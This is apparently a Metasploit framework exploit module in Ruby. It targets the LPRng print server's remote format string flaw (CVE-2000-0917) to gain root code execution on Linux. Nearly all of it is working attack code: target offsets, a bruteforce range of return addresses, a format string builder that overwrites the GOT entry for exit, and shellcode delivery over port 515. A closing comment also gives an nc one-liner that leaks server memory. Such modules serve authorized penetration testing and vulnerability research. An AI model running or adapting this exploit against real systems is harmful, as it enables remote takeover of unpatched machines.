##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Brute
  include Msf::Exploit::FormatString

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in the LPRng print server.
        This vulnerability was discovered by Chris Evans. There was a publicly
        circulating worm targeting this vulnerability, which prompted RedHat to pull
        their 7.0 release. They consequently re-released it as "7.0-respin".
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2000-0917' ],
          [ 'OSVDB', '421' ],
          [ 'BID', '1712' ],
          [ 'US-CERT-VU', '382365' ],
          [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
          [ 'EDB', '226' ],
          [ 'EDB', '227' ],
          [ 'EDB', '230' ]
        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Privileged'     => true, # root
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true
        },
      'Payload'        =>
        {
          'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
          'BadChars' => "\x00\x0a\x20\x25",
        },
      'Targets'        =>
        [
          # tested OK - jjd
          [ 'Caldera OpenLinux 2.3 Bruteforce',
            {
              'Platform'   => 'linux',
              'NumPops'    => 243,
              'FlowHook'   => 0x80992d4,  # GOT of exit
              # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xcffffff4 },
                  'Stop'  => { 'Ret' => 0x7fffe004 },
                  'Step'  => 16
                }
            }
          ],
=begin
          # untested (from public exploits)
          [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
            {
              'NumPops' 	=> 299,
              'Ret' 	   => 0xbffff640,
              'FlowHook'	=> 0xbfffee30
            }
          ],
          [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
            {
              'NumPops' 	=> 304,
              'Ret' 	   => 0xbffff920,
              'FlowHook'	=> 0xbffff0f0
            }
          ],
          [ 'RedHat 7.0 - Guinesss',
            {
              'NumPops' 	=> 300,
              'Ret' 	   => 0x41424344,
              'FlowHook'	=> 0xbffff3ec
            }
          ],
          [ 'RedHat 7.0 - Guinesss-dev',
            {
              'NumPops' 	=> 300,
              'Ret' 	   => 0x41424344,
              'FlowHook'	=> 0xbffff12c
            }
          ],
=end
          # ...
          [ 'Debug',
            {
              'NumPops' 	=> 1, # sure to miss.
              'Ret' 	   => 0x41424344,
              'FlowHook'	=> 0x45464748
            }
          ]
        ],
      # 'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 25 2000'))

    register_options( [ Opt::RPORT(515) ], self.class )
  end


  def exploit
    # we want to use DPA for this one :)
    fmtstr_set_caps(false, true)

    # check syslog to see which number hits 41414141
=begin
    400.times { |x|
      connect
      buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
      sock.put(buf)
      #handler
      disconnect
    }
=end
    print_status("Trying target #{target.name} ..")

    super
  end


  def brute_exploit(addrs)

    #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

    printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
    num_start = printed.length + 2 + 4

    # write 'ret' addr to flowhook (execute shellcode)
    # NOTE: the resulting two writes must be done at the same time

    # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
    fmtbuf = "_" * 4
    fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
    #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

    # append payload and newline
    #fmtbuf << payload.encoded
    fmtbuf << "\x90" * 32
    fmtbuf << Rex::Text.charset_exclude(payload_badchars)
    fmtbuf << "\n"

    print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

    connect
    #print_status("Sleeping, attach now!!")
    #select(nil,nil,nil,5)

    sock.put(fmtbuf)

    handler
    disconnect

  end

end


=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end
